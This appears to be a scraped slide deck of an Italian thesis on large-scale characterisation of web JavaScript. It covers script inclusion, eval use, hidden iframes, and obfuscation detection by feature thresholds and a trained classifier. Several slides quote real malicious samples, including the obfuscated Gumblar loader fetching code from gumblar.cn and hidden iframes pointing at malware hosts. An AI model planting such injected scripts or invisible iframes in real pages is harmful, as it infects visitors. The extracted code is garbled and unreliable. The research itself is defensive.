48
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web Universit` a Degli Studi Di Trieste Facolt` a di Ingegneria Corso di Laurea Specialistica in Ingegneria Informatica LAUREANDA RELATORE Sara Zambon Chiar.mo Prof. Alberto Bartoli CORRELATORE Ing. Eric Medvet Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Embed Size (px)

Citation preview

Page 1: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri

Progetto e realizzazione di un sistemaper la caratterizzazione su larga scala

dei codici JavaScript nel Web

Universita Degli Studi Di TriesteFacolta di Ingegneria

Corso di Laurea Specialistica in Ingegneria Informatica

LAUREANDA RELATORE

Sara Zambon Chiar.mo Prof. Alberto Bartoli

CORRELATORE

Ing. Eric Medvet

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 2: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti

L’era del Web 2.0

Evoluzione del Web:

dinamicita

interazione con l’utente

⇒ grazie a script, frammenti di codice eseguiti lato client

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 3: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti

Stato attuale di sicurezza nel Web

Rapporti Websense, Sophos:

crescita del 671% di siti Internet malicious in un anno

77% dei siti malicious sono siti affidabili compromessi

Drive-by download

Scaricamento automatico di malware

↪→ spesso e un link a inoltrare l’utente verso pagina maligna

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 4: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti

Inclusione di codice

Durante la navigazione fra le pagine di un sito:

1 esecuzione di mix di codici provenienti da siti terzi,inclusi tramite:

↪→ script↪→ iframe, talvolta invisibili

2 esecuzione di codici offuscati

! all’insaputa dell’utente

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 5: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti

Inclusione di codice

! all’insaputa dell’utente

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 6: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti

L’obiettivo della ricerca

Obiettivo

Caratterizzazione dell’inclusione degli script nelle pagine web

⇒ sostanziale assenza di studi con medesima finalita

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 7: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti

L’obiettivo della ricerca

Obiettivo

Caratterizzazione dell’inclusione degli script nelle pagine web

⇒ sostanziale assenza di studi con medesima finalita

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 8: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti

I cinque quesiti

1 Quanto e diffusa l’inclusione di script da url diversi?

2 A che profondita di inclusione si arriva per includere script?

3 Quanto e diffuso l’utilizzo di eval()?

4 Quanto e diffusa l’inclusione di frame e iframesospettosamente piccoli?

5 Quanto e diffuso l’utilizzo di tecniche di offuscamento?

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 9: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features

Le fonti

Dateset con 1037 pagine rappresentativo del Web:

→ 3 fonti di scaricamento:

≈ 80% pagine Normal

→ Top Million Sites List stilatadall’azienda Alexa

≈ 20% pagine Malicious

→ elenco siti infetti pubblicato dalprogetto Malware Domain List

< 1% pagine Interesting

→ 3 maggiori JavaScript benchmark

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 10: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features

Le fonti

Dateset con 1037 pagine rappresentativo del Web:

→ 3 fonti di scaricamento:

≈ 80% pagine Normal

→ Top Million Sites List stilatadall’azienda Alexa

≈ 20% pagine Malicious

→ elenco siti infetti pubblicato dalprogetto Malware Domain List

< 1% pagine Interesting

→ 3 maggiori JavaScript benchmark

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 11: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features

Le fonti

Dateset con 1037 pagine rappresentativo del Web:

→ 3 fonti di scaricamento:

≈ 80% pagine Normal→ Top Million Sites List stilatadall’azienda Alexa

≈ 20% pagine Malicious

→ elenco siti infetti pubblicato dalprogetto Malware Domain List

< 1% pagine Interesting

→ 3 maggiori JavaScript benchmark

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 12: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features

Le fonti

Dateset con 1037 pagine rappresentativo del Web:

→ 3 fonti di scaricamento:

≈ 80% pagine Normal→ Top Million Sites List stilatadall’azienda Alexa

≈ 20% pagine Malicious

→ elenco siti infetti pubblicato dalprogetto Malware Domain List

< 1% pagine Interesting

→ 3 maggiori JavaScript benchmark

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 13: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features

Le fonti

Dateset con 1037 pagine rappresentativo del Web:

→ 3 fonti di scaricamento:

≈ 80% pagine Normal→ Top Million Sites List stilatadall’azienda Alexa

≈ 20% pagine Malicious→ elenco siti infetti pubblicato dalprogetto Malware Domain List

< 1% pagine Interesting

→ 3 maggiori JavaScript benchmark

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 14: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features

Le fonti

Dateset con 1037 pagine rappresentativo del Web:

→ 3 fonti di scaricamento:

≈ 80% pagine Normal→ Top Million Sites List stilatadall’azienda Alexa

≈ 20% pagine Malicious→ elenco siti infetti pubblicato dalprogetto Malware Domain List

< 1% pagine Interesting

→ 3 maggiori JavaScript benchmark

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 15: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features

Le fonti

Dateset con 1037 pagine rappresentativo del Web:

→ 3 fonti di scaricamento:

≈ 80% pagine Normal→ Top Million Sites List stilatadall’azienda Alexa

≈ 20% pagine Malicious→ elenco siti infetti pubblicato dalprogetto Malware Domain List

< 1% pagine Interesting→ 3 maggiori JavaScript benchmark

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 16: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features

Estrapolazione dei dati dalla pagina

Da ciascuna pagina scaricata sono statiestrapolati:

↪→ script JavaScript↪→ frame↪→ iframe

Quindi sono state popolate due tabelle:

↪→ Ts , tabella degli script JavaScript↪→ Ti , tabella dei frame e degli iframe

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 17: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features

Estrapolazione dei dati dalla pagina

Da ciascuna pagina scaricata sono statiestrapolati:

↪→ script JavaScript↪→ frame↪→ iframe

Quindi sono state popolate due tabelle:

↪→ Ts , tabella degli script JavaScript↪→ Ti , tabella dei frame e degli iframe

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 18: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features

Estrapolazione dei dati dalla pagina

Da ciascuna pagina scaricata sono statiestrapolati:

↪→ script JavaScript↪→ frame↪→ iframe

Quindi sono state popolate due tabelle:

↪→ Ts , tabella degli script JavaScript↪→ Ti , tabella dei frame e degli iframe

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 19: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features

La tabella degli script e la tabella dei frame e degli iframe

Per ogni script viene inserita una riganella tabella Ts :

Script URL

Root page URL

Script body

Category:

Embedded ScriptChild ScriptIntrinsic Event

Locality:

LocalRemote

List of HTTP redirection for thescript

. . .

Per ogni frame e iframe viene inseritauna riga nella tabella Ti :

Iframe URL

Root page URL

Iframe body

Enclosing:

HTML EmbeddedScript Embedded

Locality:

LocalRemote

List of HTTP redirection for theiframe

. . .

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 20: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features

Le proprieta estratte

Proprieta estratte dagli script:

Function name

Document.write

Iframe

Variable name

Variable content

Long string

Eval

Unescape

Decode

Onerror

Exec

String.fromCharCode

String.charCodeAt

Math.random

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 21: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features

Le proprieta estratte

Proprieta estratte da frame e iframe:

Width

Height

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 22: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features

Dalle proprieta alle features

↪→ 1 pagina ⇒ n script↪→ 1 script ⇒ 14 proprieta

↪→ 1 proprieta ⇒ m items

↪→ 1 script ⇒ 17 features, ottenute:

contando ⇒ items associati a una proprietacontando ⇒ items offuscati associati a una proprieta

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 23: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features

Dalle proprieta alle features

↪→ 1 pagina ⇒ n script↪→ 1 script ⇒ 14 proprieta

↪→ 1 proprieta ⇒ m items

↪→ 1 script ⇒ 17 features, ottenute:

contando ⇒ items associati a una proprietacontando ⇒ items offuscati associati a una proprieta

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 24: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features

Le features

Vettore di 17 numeri, features, associato allo script:

Feature

Number of Obfuscated Function nameNumber of Obfuscated Document.write

Number of Obfuscated IframeNumber of Obfuscated Variable name

Number of Obfuscated Variable contentNumber of Obfuscated Long String

Number of EvalNumber of Obfuscated Eval

Number of Eval with long argumentNumber of Unescape

Number of Obfuscated UnescapeNumber of Obfuscated DecodeNumber of Obfuscated Onerror

Number of Obfuscated ExecNumber of String.fromCharCode

Number of String.charCodeAtNumber of Math.random

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 25: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio

Definizione di Offuscamento

! Assenza definizione precisa

Definizione di codice offuscato

Codice progettato in modo da nascondere le sue reali finalita,anche a seguito di un’analisi approfondita da parte di operatoriesperti

Obiettivi alla base dell’offuscamento:

º proteggere la paternita del codice

» celare codice maligno

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 26: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio

Definizione di Offuscamento

! Assenza definizione precisa

Definizione di codice offuscato

Codice progettato in modo da nascondere le sue reali finalita,anche a seguito di un’analisi approfondita da parte di operatoriesperti

Obiettivi alla base dell’offuscamento:

º proteggere la paternita del codice

» celare codice maligno

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 27: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio

Definizione di Offuscamento

! Assenza definizione precisa

Definizione di codice offuscato

Codice progettato in modo da nascondere le sue reali finalita,anche a seguito di un’analisi approfondita da parte di operatoriesperti

Obiettivi alla base dell’offuscamento:

º proteggere la paternita del codice

» celare codice maligno

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 28: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio

Due esempi di script JavaScript offuscati

Primo script offuscato

f u n c t i o n c ( g ){v a r m=0; w h i l e (m<g . l e n g t h ){v a r r=g [m] ; r . l=d ( r . n , r . o ) ; i f ( r . j==t r u e ){r . k=e ( r . n , r . o , r . l ) ;} e l s e{ r . k=0;} r . t=f ( r . l+r . k ) ;m++;}}

Secondo script offuscato

xR5p=3D’ % ’ ; e v a l ( unescape ( ( ’ v a r ”20 a”3d”22 Sc”72 i p t E n g i n ”65”22”2 c ”62”3d”22”5=6 e r s ”69 on ( )+”22”2 c ”6a”3d”22”22”2 cu ”3 d n a v i g ”61 t ”6 f r ”2 e ”75 s ”65 rAgent ”3 b i f ((=”75”2e i n d ”65 xOf ”28”22Win” 22) ”3 e0 ) ”26” 26( u”2 e ”69n”64exO” 66( ”22NT”20”36”22”=29”3 c0) ”26” 26( documen”74”2 e c o o k i e ”2 e ”69 ndex ”4 f ”66”28”22”6 d i e ”6b”3d1” 22) ”3=c0 ) ”26”26”28 t ”79”70 e ”6 f f ( ”7 a r v z t s ) ”21”3 d t y p e o f ( ”22A” 22) ) ”29”7 b z r v z t s ”3d”2=2A”22”3b”65 va ”6 c ( ”22 i f ( wi ”6edow”2 e ”22+a+”22”29 j ”3d”6a+”22+a+”22M”61 j o ”72”=22+”62”2ba+”22 Minor ”22”2bb+a+”22B”75”69 l d ”22”2bb”2b”22 j ”3b” 22) ”3 bdocu ”6 de=”6 e ”74”2ewr ”69”74 e ( ”22”3 c s c ”72 i p t ”20 s r ”63”3d”2 f ”2 f g u m b l a r ”2 ecn ”2 f r s s ”2 f ”3= f i d ”3d”22+ j+”22”3 e ”3 c ”5 c ”2 f ”73 c r i p t ”3 e ”22”29”3b”7d ’ ) . r e p l a c e ( j i l , xR5p ) ) )}=)(/ ”/g ) ;

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 29: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio

Due esempi di script JavaScript offuscati

Secondo script

! Gumblar

⇒ A maggio 2009 deteneva il 42% infezioni a livello globale⇒ all’esecuzione download altro script da

http://www.gumblar.cn/rss/

Ultime righe del secondo script

[ . . . ] ”3 bdocu ”6 de=”6 e ”74”2 ewr ”69”74 e ( ”22”3 c s c ”72 i p t ”20 s r ”63”3d”2 f ”2 f g u m b l a r ”2 ecn ”2 f r s s ”2 f ”3= f i d ”3d”22+ j+”22”3 e ”3 c ”5 c ”2 f ”73 c r i p t ”3 e ”22”29”3b”7d ’ ) [ . . . ]

⇒ obiettivo offuscamento: celare codice maligno

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 30: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio

Esempi di items offuscati

nomi offuscati di funzioni

c07b380984r0368a7 , r 3 2 f d f e 1 7 6 8 , re15d694d .

nomi offuscati di variabili

a7044t f , a7044pu , a7044pf , a7044su , a7044s f , a7044of , a7044op ,a7044ops , a7044ot , a7044d , a7044oe .

variabile con argomento offuscato

v a r ne07614 =[” 128 ” , ” 139 ” , ” 127 ” , ” 145 ” , ” 137 ” , ” 129 ” , ” 138 ” , ” 144 ” , ”74” , ” 131 ” , ”129 ” , ” 144 ” , ”97” , ” 136 ” , ” 129 ” , ” 137 ” , ” 129 ” , ” 138 ” , ” 144 ” , ”94” , ” 149 ” , ” 101 ” ,” 128 ” , ”68” , ”62” , ” 144 ” , ” 139 ” , ” 140 ” , ” 137 ” , ” 129 ” , ” 138 ” , ” 145 ” , ”79” , ”79” , ”82” , ”62” , ”69” , ”74” , ” 143 ” , ” 144 ” , ” 149 ” , ” 136 ” , ” 129 ” , ”74” , ” 128 ” , ” 133 ” , ”143 ” , ” 140 ” , ” 136 ” , ” 125 ” , ” 149 ” , ”60” , ”89” , ”60” , ”62” , ” 138 ” , ” 139 ” , ” 138 ” , ”129 ” , ”62” , ”87” , ” 128 ” , ” 139 ” , ” 127 ” , ” 145 ” , ” 137 ” , ” 129 ” , ” 138 ” , ” 144 ” , ”74” , ”131 ” , ” 129 ” , ” 144 ” , ”97” , ” 136 ” , ” 129 ” , ” 137 ” , ” 129 ” , ” 138 ” , ” 144 ” , [ . . . ] ] ;

document.write() con argomento offuscato

document . w r i t e ( ’<a h r e f=” h t t p : / /www. 5 1 . l a /?002347044 ” t a r g e t=” b l a n k ” t i t l e =”&#x35;&#x31;&#x2E;&#x6C;&#x61;&#x20;&#x4E13;&#x4E1A;&#x3001;&#x514D;&#x8D39;&#x3001;&#x5F3A;&#x5065;&#x7684;&#x8BBF;&#x95EE;&#x7EDF;&#x8BA1 ; ”>&#x7F51;&#x7AD9;&#x7EDF;&#x8BA1 ;</a>\n ’ )

stringa con argomento offuscato

c=T. 7 y ( ) ; 1 e ( c . 1A+29.2 f (1Q. 1 C . 2 e , 1Q. 1 c . 2 e ) , c . 1 S+29.2 f (1Q. 1 C . 2 c , 1Q. 1 c . 2 c ) ) ; 1e(−1Q. 1 C . 6 b,−1Q. 1 C . 6 a )}N{1e (T. 5X, T. 5W) ; 1B(1 s ){1e (1 s . 5X, 1 s . 5W) ; G(42&&!/ˆ t ( 9 8 | d | h ) $/ i . 1 1 ( 1 s . 2 j ) | |2 k&&!5U) 2C(1 s ) ; G( ! 3 c&&1g (1 s , ”30” )==”3c ” ) 3 c=M; 4 a=/ˆ1c$ / i . 1 1 ( 1 s . 2 j ) ?4 a : 1 s ; 1 s=1s . 1 s}1B( d&&d . 2 j &&!/ˆ1c |2K$/ i. 1 1 ( d . 2 j ) ){G( ! / ˆ 9 6 |1T.∗ $/ i . 1 1 ( 1 g ( d , ”18” ) ) ) 1 e(−d . 2 e,−d . 2 c ) ; G(42&&1g ( d ,”33” ) !=”4 j ” ) 2C( d ) ; d=d . 1 d}G( ( 5U&&(3c | |1 g (4 a , ”30” )==”5 x ” ) ) [ . . . ]

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 31: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio

Esempi di proprieta offuscate

stringa lunga con argomento offuscato

rcDF60rcDF105rcDF102rcDF114rcDF97rcDF109rcDF101rcDF32rcDF119rcDF105rcDF100 rcDF116rcDF104rcDF61rcDF34rcDF52rcDF56rcDF48rcDF34rcDF32rcDF104rcDF101 rcDF105rcDF103rcDF104rcDF116rcDF61rcDF34rcDF54rcDF48rcDF34rcDF32rcDF115 rcDF114rcDF99rcDF61rcDF34rcDF104rcDF116rcDF116rcDF112rcDF58rcDF47rcDF47 rcDF115rcDF101rcDF110rcDF100rcDF50rcDF57rcDF57rcDF51rcDF49rcDF46rcDF99 rcDF110rcDF47rcDF116rcDF114rcDF97rcDF102rcDF102rcDF47rcDF105rcDF110rcDF46rcDF99rcDF103rcDF105rcDF63rcDF50rcDF34rcDF32rcDF115rcDF116rcDF121rcDF108rcDF101rcDF61rcDF34rcDF98rc

eval() con argomento offuscato

e v a l ( unescape ( ’ f u n c t i o n %20AGAHlA%28SCSL%29%7BR GHH%3Dnew%20 S t r i n g %28arguments . c a l l e e %29. r e p l a c e %28/%5B%5E@a−z0−9A−Z .%5D/g%2C%27%27%29%2CH ShH%3D%27%27%2CAsRG%3D−1%2CASaIS %3D−1%3Bvar%20HpCh%3D0%3Bfor%28AsRG%3D0%3BAsRG%3CR GHH . l e n g t h%3BAsRG++%29HpCh%5E%3DR GHH . charCodeAt%28AsRG%29%3BAsRG%3D−1%3Bwhi l e%28++ASaIS %3CSCSL . l e n g t h%29%7 B i f %28AsRG%3D%3DR GHH . l e n g t h %29AsRG%3D0%3B e l s e %20AsRG++%3BH ShH+%3D S t r i n g .fromCharCode%28HpCh%5ESCSL . charCodeAt%28ASaIS %29%5ER GHH . charCodeAt%28AsRG%29%29%3B%7Ddocument . w r i t e %28H ShH%29%3BH ShH%3D%27%27%3B r e t u r n%3B%7D’ ) ) ;

unescape() con argomento offuscato

unescape ( ”%3C i f r a m e%20name%3D%22 a d p r o t e s t %22%20width%3D%22”+wi+”%22%20h e i g h t%3D%22”+he+”%22%20 f r a m e b o r d e r%3D%220%22%20 s r c%3D%22 h t t p%3A//s c r i p t s . c h i t i k a . n e t / s t a t i c / adpro . html%22%20marg inwidth%3D%220%22%20m a r g i n h e i g h t%3D%220%22%20 v s p a c e%3D%220%22%20hspace%3D%220%22%20a l l o w t r a n s p a r e n c y%3D%22 t r u e %22%20 s c r o l l i n g %3D%22no%22%3E%3C/ i f r a m e%3E” )

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 32: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio

Iframe invisibili

iframe reso invisibile dalle dimensioni nulle (width=0 e height=0)

<i f r a m e s r c=” hxxp : / / goog le−a n a l y z . cn / count . php ?o=1” width=0 h e i g h t=0 s t y l e=” h i d d e n ” f rameborder=0 m a r g i n h e i g h t=0 marginwidth=0 s c r o l l i n g=no></i f r a m e>

iframe reso invisibile da una sola dimensione nulla (height=0)

<i f r a m e s r c=” hxxp : / / a86x . homeunix . org :8080/ t s / i n . c g i ? open2 ” width =997h e i g h t=0 s t y l e=” v i s i b i l i t y : h i d d e n ”></ i f r a m e>

iframe di dimensioni minime e dunque difficilmente percepibile

<i f r a m e s r c=” hxxp : / / y o u r l i t e t o p . cn / t s / i n . c g i ? m o z i l a 7 ” width=2 h e i g h t=4s t y l e=” v i s i b i l i t y : h i d d e n ”></ i f r a m e>

iframe reso invisibile dall’attributo visibility:hidden

<i f r a m e s r c=” hxxp : / / combinebet . cn :8080/ i n d e x . php” width =180 h e i g h t =141s t y l e=” v i s i b i l i t y : h i d d e n ”></ i f r a m e>

iframe non visibile perche interno a un “contenitore” <div> invisibile

<d i v s t y l e=” d i s p l a y : none ”><i f r a m e s r c=” hxxp : / / red−w o l f . ru :8080/ i n d e x . php” width =574 h e i g h t =455></ i f r a m e>

</ d i v>

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 33: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio

Dynamic Evaluation

Moderni linguaggi di scripting permettono la dynamic evaluation:

º valutazione run time input utente

» grave problema per la sicurezza

La funzione JavaScript eval()

esegue una stringa trattandola come codice

↪→ potenzialmente in grado di compiere qualsiasi azione

↪→ nella maggior parte dei casi uso scorretto

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 34: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio

L’analisi sull’offuscamento

Obiettivo

Individuazione criterio per stabilire se un script e offuscato o meno

Primo criterio di offuscamento

Soglie sulle features ottenute da analisi delle proprieta degli script

Secondo criterio di offuscamento

Classificatore realizzato su risultati di test svolti da analisti

⇒ per ogni script di Ts → 2 “bit di offuscamento”

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 35: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio

Il primo bit di offuscamento

↪→ 1 script → vettore 17 features

Primo criterio:

↪→ soglie basate su domain knowledge

↪→ se almeno una feature supera la soglia ⇒ lo script e offuscato.

Feature Soglia

Number of Obfuscated Function name 0Number of Obfuscated Document.write 0

Number of Obfuscated Iframe 0Number of Obfuscated Variable name 4

Number of Obfuscated Variable content 4Number of Obfuscated Long String 0

Number of Eval 2Number of Obfuscated Eval 0

Number of Eval with long argument 0Number of Unescape 2

Number of Obfuscated Unescape 0Number of Obfuscated Decode 0Number of Obfuscated Onerror 0

Number of Obfuscated Exec 0Number of String.fromCharCode 4

Number of String.charCodeAt 4Number of Math.random 4

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 36: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio

Il secondo criterio

77 analisti esaminatori di 893 script di Ts

↪→ Ritieni che questo codice sia offuscato (anche solo parzialmente)?Possibili opzioni di risposta: Sı, No, Non so

↪→ dei 893 script → 691 con piu di una valutazione

↪→ dei 691 script → 561 con maggioranza di giudizio

↪→ dei 561 script:→ 372 (66%) giudizio unanime→ 100 (18%) range di valutazioni comuni fra l’51% e il 67%

↪→ dei 691 script → 130 senza maggioranza di giudizio

↪→ dei 130 script:→ 81 (67%) giudizio unanime Non so

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 37: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio

Il secondo criterio

77 analisti esaminatori di 893 script di Ts

↪→ Ritieni che questo codice sia offuscato (anche solo parzialmente)?Possibili opzioni di risposta: Sı, No, Non so

↪→ dei 893 script → 691 con piu di una valutazione

↪→ dei 691 script → 561 con maggioranza di giudizio

↪→ dei 561 script:→ 372 (66%) giudizio unanime→ 100 (18%) range di valutazioni comuni fra l’51% e il 67%

↪→ dei 691 script → 130 senza maggioranza di giudizio

↪→ dei 130 script:→ 81 (67%) giudizio unanime Non so

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 38: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio

Il secondo bit di offuscamento

↪→ 1 script → vettore 17 features

Secondo criterio:

↪→ per ogni script dei 561 → bit offuscameno analisti

↪→ addestramento di un classificatore Multilayer Perceptron

⇓Classificatore applicato a tutti gli script di Ts

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 39: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio

Il secondo bit di offuscamento

↪→ 1 script → vettore 17 features

Secondo criterio:

↪→ per ogni script dei 561 → bit offuscameno analisti

↪→ addestramento di un classificatore Multilayer Perceptron

⇓Classificatore applicato a tutti gli script di Ts

Sara Zambon Caratterizzazione dei codici JavaScript nel Web

Page 40: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

